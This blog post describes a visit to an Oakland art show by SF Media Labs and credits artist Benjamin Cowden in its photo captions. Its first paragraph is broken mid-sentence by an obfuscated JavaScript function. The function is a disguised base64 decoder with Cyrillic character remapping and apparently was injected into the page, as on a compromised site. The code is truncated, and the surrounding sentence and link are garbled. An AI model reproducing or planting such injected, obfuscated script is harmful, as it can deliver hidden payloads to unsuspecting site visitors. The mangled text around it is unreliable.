a visit to 40% off : an art show for the new economy

Last night I went to 40% off: an art show for the new economy by SF Media Labs in Oakland -- I'd written a column about the Instructables function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandysarafan.com/">troublemakers who'd created The Joydick (interview: San Francisco Chronicle), but there was a lot of fun stuff to see. I shot some live video as well. The images and videos (including the fun art machine by Benjamin Cowden, below) continue after the jump -- enjoy!

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All photos and video shot and instantly uploaded with my Nokia N95-4, 12seconds.com and Qik.

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Artist: Benjamin Cowden.

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Artist: Benjamin Cowden.

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Artist: Benjamin Cowden.

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Artist: Unknown.